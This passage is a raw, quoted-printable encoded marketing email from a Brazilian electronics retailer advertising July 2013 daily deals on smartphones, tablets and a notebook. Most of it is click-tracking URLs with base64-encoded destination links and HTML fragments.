dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Windows 8 * Wi-Fi * 4.3" * 6.7MP 854,10 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84919,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DLUMIA%20720&marcas=3DNokia&subgrupos=3D&utm_source=3D10_07_13_= oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_di= a_10_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84919,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DLUMIA%20720&marcas=3DNokia&subgrupos=3D&utm_source=3D10_07_13_= oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_di= a_10_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">10x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84919,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DLUMIA%20720&marcas=3DNokia&subgrupos=3D&utm_source=3D10_07_13_= oferta_do_dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_di= a_10_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Android 4.0 * Wi-Fi * 4GB * 5MP 571,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84920,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DE450&marcas=3DLG&subgrupos=3D&utm_source=3D10_07_13_oferta_do_= dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84920,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/p= esquisa/?q=3DE450&marcas=3DLG&subgrupos=3D&utm_source=3D10_07_13_oferta_do_= dia&utm_medium=3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13= font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84920,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPUU0NTAmbWFyY2FzPUxHJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0xMF8wN18xM19vZmVydG= FfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVyd= GFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84921,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= NdWx0aWxhc2VyL3RhYmxldC1tZWRpYS1wbGF5ZXItbXVsdGlsYXNlci1tNy1uYjA0My1hbmRyb2= lkLTQxLXdpLWZpLWxjZC00Z2ItcHJldG8uaHRtP3V0bV9zb3VyY2U9MTBfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= X2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84922,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= TYW1zdW5nL2dhbGF4eS10YWItMi03LjAtcDMxMDAtcHJldG8tYW5kcm9pZC00LjAtZHVhbC1jb3= JlLTctMTZnYi13aS1maS1ndC1wMzEwMHRzbXp0by5odG0/dXRtX3NvdXJjZT0xMF8wN18xM19vZ= mVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1v= ZmVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] NB043 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84921,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= NdWx0aWxhc2VyL3RhYmxldC1tZWRpYS1wbGF5ZXItbXVsdGlsYXNlci1tNy1uYjA0My1hbmRyb2= lkLTQxLXdpLWZpLWxjZC00Z2ItcHJldG8uaHRtP3V0bV9zb3VyY2U9MTBfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= X2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] GT-P3100TSMZTO [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84922,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= TYW1zdW5nL2dhbGF4eS10YWItMi03LjAtcDMxMDAtcHJldG8tYW5kcm9pZC00LjAtZHVhbC1jb3= JlLTctMTZnYi13aS1maS1ndC1wMzEwMHRzbXp0by5odG0/dXRtX3NvdXJjZT0xMF8wN18xM19vZ= mVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1v= ZmVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] Tablet Media Player Multilaser [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84921,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= NdWx0aWxhc2VyL3RhYmxldC1tZWRpYS1wbGF5ZXItbXVsdGlsYXNlci1tNy1uYjA0My1hbmRyb2= lkLTQxLXdpLWZpLWxjZC00Z2ItcHJldG8uaHRtP3V0bV9zb3VyY2U9MTBfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= X2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Galaxy Tab 2 Samsung 7.0" [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84922,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Samsung/galaxy-tab-2-7.0-p3100-preto-android-4.0-dual-core-7-16gb-wi-= fi-gt-p3100tsmzto.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium=3DEmai= l&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Android 4.1 * Wi-Fi * LCD 7" * 4GB 289,52 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84921,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Multilaser/tablet-media-player-multilaser-m7-nb043-android-41-wi-fi-l= cd-4gb-preto.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_10_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84921,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Multilaser/tablet-media-player-multilaser-m7-nb043-android-41-wi-fi-l= cd-4gb-preto.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_10_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84921,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Multilaser/tablet-media-player-multilaser-m7-nb043-android-41-wi-fi-l= cd-4gb-preto.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_10_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Android 4.0 * Dual Core * 16GB * 3G 923,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84922,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Samsung/galaxy-tab-2-7.0-p3100-preto-android-4.0-dual-core-7-16gb-wi-= fi-gt-p3100tsmzto.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium=3DEmai= l&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84922,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= ablet/Samsung/galaxy-tab-2-7.0-p3100-preto-android-4.0-dual-core-7-16gb-wi-= fi-gt-p3100tsmzto.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium=3DEmai= l&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84922,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RhYmxldC9= TYW1zdW5nL2dhbGF4eS10YWItMi03LjAtcDMxMDAtcHJldG8tYW5kcm9pZC00LjAtZHVhbC1jb3= JlLTctMTZnYi13aS1maS1ndC1wMzEwMHRzbXp0by5odG0/dXRtX3NvdXJjZT0xMF8wN18xM19vZ= mVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1v= ZmVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84923,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL05vdGVib29= rcy9TYW1zdW5nL25vdGVib29rLXVsdHJhZmluby1zYW1zdW5nLTUzNXUzYy1hZDEtYW1kLWE0LW= R1YWwtY29yZS0yZ2ItNTAwZ2ItbGVkLTE0LXdpbmRvd3MtOC5odG0/dXRtX3NvdXJjZT0xMF8wN= 18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1w= YWlnbj1vZmVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20= =3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84924,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9TYW1zdW5nL3NtYXJ0cGhvbmUtc2Ftc3VuZy1nYWxheHktZHVvcy1kdWFsLWNoaXAtYW5kcm= 9pZC0yMy01bXAtM2ctd2ktZmktZ3BzLTQuaHRtP3V0bV9zb3VyY2U9MTBfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= X2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] NP535U3C-AD1BR [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84923,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL05vdGVib29= rcy9TYW1zdW5nL25vdGVib29rLXVsdHJhZmluby1zYW1zdW5nLTUzNXUzYy1hZDEtYW1kLWE0LW= R1YWwtY29yZS0yZ2ItNTAwZ2ItbGVkLTE0LXdpbmRvd3MtOC5odG0/dXRtX3NvdXJjZT0xMF8wN= 18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1w= YWlnbj1vZmVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20= =3D] S7562 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84924,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9TYW1zdW5nL3NtYXJ0cGhvbmUtc2Ftc3VuZy1nYWxheHktZHVvcy1kdWFsLWNoaXAtYW5kcm= 9pZC0yMy01bXAtM2ctd2ktZmktZ3BzLTQuaHRtP3V0bV9zb3VyY2U9MTBfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= X2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] Notebook Ultrafino Samsung [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84923,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL05vdGVib29= rcy9TYW1zdW5nL25vdGVib29rLXVsdHJhZmluby1zYW1zdW5nLTUzNXUzYy1hZDEtYW1kLWE0LW= R1YWwtY29yZS0yZ2ItNTAwZ2ItbGVkLTE0LXdpbmRvd3MtOC5odG0/dXRtX3NvdXJjZT0xMF8wN= 18xM19vZmVydGFfZG9fZGlhJnV0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1w= YWlnbj1vZmVydGFfZG9fZGlhXzEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20= =3D] Smartphone Samsung Galaxy S Duos [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84924,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= elulares/Samsung/smartphone-samsung-galaxy-duos-dual-chip-android-23-5mp-3g= -wi-fi-gps-4.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_10_07_13 border-bottom:1px solid #f4ac1c; border-left:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * AMD Dual-Core * 13.3" * 500GB * Windows 8 1.495,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84923,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/N= otebooks/Samsung/notebook-ultrafino-samsung-535u3c-ad1-amd-a4-dual-core-2gb= -500gb-led-14-windows-8.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84923,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/N= otebooks/Samsung/notebook-ultrafino-samsung-535u3c-ad1-amd-a4-dual-core-2gb= -500gb-led-14-windows-8.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84923,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/N= otebooks/Samsung/notebook-ultrafino-samsung-535u3c-ad1-amd-a4-dual-core-2gb= -500gb-led-14-windows-8.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium= =3DEmail&utm_content=3D&utm_campaign=3Doferta_do_dia_10_07_13 height:50px; border-left:1px solid #f4ac1c;border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> * Dual Chip * Android 4.0 * 5MP * 4" 676,72 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84924,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= elulares/Samsung/smartphone-samsung-galaxy-duos-dual-chip-android-23-5mp-3g= -wi-fi-gps-4.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_10_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84924,5= 3c5f22371345d8914495fdac44b3c65,[DMA6_ENCODE_URL]http://www.girafa.com.br/C= elulares/Samsung/smartphone-samsung-galaxy-duos-dual-chip-android-23-5mp-3g= -wi-fi-gps-4.htm?utm_source=3D10_07_13_oferta_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Doferta_do_dia_10_07_13font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84924,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NlbHVsYXJ= lcy9TYW1zdW5nL3NtYXJ0cGhvbmUtc2Ftc3VuZy1nYWxheHktZHVvcy1kdWFsLWNoaXAtYW5kcm= 9pZC0yMy01bXAtM2ctd2ktZmktZ3BzLTQuaHRtP3V0bV9zb3VyY2U9MTBfMDdfMTNfb2ZlcnRhX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRh= X2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84907,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84925,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL21vdGl2b3M= tcGFyYS1jb21wcmFyLzEwMC1zZWd1cm8vP3V0bV9zb3VyY2U9MTBfMDdfMTNfb2ZlcnRhX2RvX2= RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX= 2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84929,5= 3c5f22371345d8914495fdac44b3c65,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9jZW50cmF= sLWRlLWF0ZW5kaW1lbnRvLz91dG1fc291cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX2= 1lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfM= DdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84930,5= 3c5f22371345d8914495fdac44b3c65,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9kaXZlcnNhcy1mb3JtYXMtZGUtcGFnYW1lbnRvLz91dG1fc291cmNlPT= EwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX= 2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20= =3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84931,5= 3c5f22371345d8914495fdac44b3c65,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9tb3Rpdm9= zLXBhcmEtY29tcHJhci9nYXJhbnRpYS1kZS1zYXRpc2ZhY2FvLz91dG1fc291cmNlPTEwXzA3Xz= EzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= WduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84932,5= 3c5f22371345d8914495fdac44b3c65,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9lc3BhY28= tZG8tY2xpZW50ZS9hdmFsaWFjb2VzL2luZGV4LnBocD91dG1fc291cmNlPTEwXzA3XzEzX29mZX= J0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZ= XJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84933,5= 3c5f22371345d8914495fdac44b3c65,aHR0cHM6Ly93d3cuZ2lyYWZhLmNvbS5ici9pbnN0aXR= 1Y2lvbmFsL2Zvcm5lY2Vkb3Jlcy8/dXRtX3NvdXJjZT0xMF8wN18xM19vZmVydGFfZG9fZGlhJn= V0bV9tZWRpdW09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1vZmVydGFfZG9fZGlhX= zEwXzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84926,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL2NoYXQvP3V= 0bV9zb3VyY2U9MTBfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84907,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84934,5= 3c5f22371345d8914495fdac44b3c65,aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL0dpcmFmYUN= vbT91dG1fc291cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG= 1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlcm09,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84935,5= 3c5f22371345d8914495fdac44b3c65,aHR0cHM6Ly90d2l0dGVyLmNvbS9vZ2lyYWZhP3V0bV9= zb3VyY2U9MTBfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3Nz= LnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84936,5= 3c5f22371345d8914495fdac44b3c65,aHR0cHM6Ly9wbHVzLmdvb2dsZS5jb20vK2dpcmFmYS9= wb3N0cz91dG1fc291cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlc= m09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84927,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy55b3V0dWJlLmNvbS9vZ2lyYWZhP3V= 0bV9zb3VyY2U9MTBfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb2= 50ZW50PSZ1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,= b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84907,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTEwXzA3XzEzX29mZXJ0YV9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD= 0mdXRtX2NhbXBhaWduPW9mZXJ0YV9kb19kaWFfMTBfMDdfMTMmdXRtX3Rlcm09,1,b3NzLnNnaS= 5jb20=3D] Pre=E7os e condi=E7=F5es de pagamento v=E1lidos at=E9 12/07/2013 ou enquanto durarem nossos estoques. Imagens meramente ilustrativas.*Consulte sua regi=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3277,644384,84928,5= 3c5f22371345d8914495fdac44b3c65,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyP3V0bV9zb3V= yY2U9MTBfMDdfMTNfb2ZlcnRhX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PS= Z1dG1fY2FtcGFpZ249b2ZlcnRhX2RvX2RpYV8xMF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNn= aS5jb20=3D] --43d1ffaeebf7765be2316c8f7208dd66 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =0D =0D =0D =0D
    Se você nã= o conseguir visualizar esta mensagem, acesse este link
    3D"" =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"01"
    =0D = =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D =0D =0D
    3D"02" = 3D"03" 3D"05" 3D"06" 3D"07" = 3D"09" = 3D"10"
    =0D
    3D"11"
    =0D =0D =0D =0D =0D =0D =0D
    3D"Smartphone
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""
    E977P714
    Smartphone LG Optimus GSmartphone LG L7 II Single
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • 4G
      =0D • Android 4.1
      =0D • 13MP
      =0D • Touch 4.7" =
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D"#" = 1.319 ,12
    =C0 vista no boleto
    ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D =0D
    =0D
      = • Android 4.1
      =0D • 3G
      =0D • 8MP
      =0D • 4GB
    = =0D
    =0D =0D =0D =0D =0D =0D =0D = =0D =0D =0D =0D =0D =0D
    3D"#" = 659 = ,12<= /a>
    =C0 vista no boleto
    = ou em at=E9 12x no cart=E3o
    =0D
    =0D
    =0D =0D =0D =0D =0D =0D =0D
    3D""
    =0D = =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D =0D
    3D""3D""
    Lumia 720E450
    Smartphone Nokia Lumia 720Smartphone LG Optimus L5
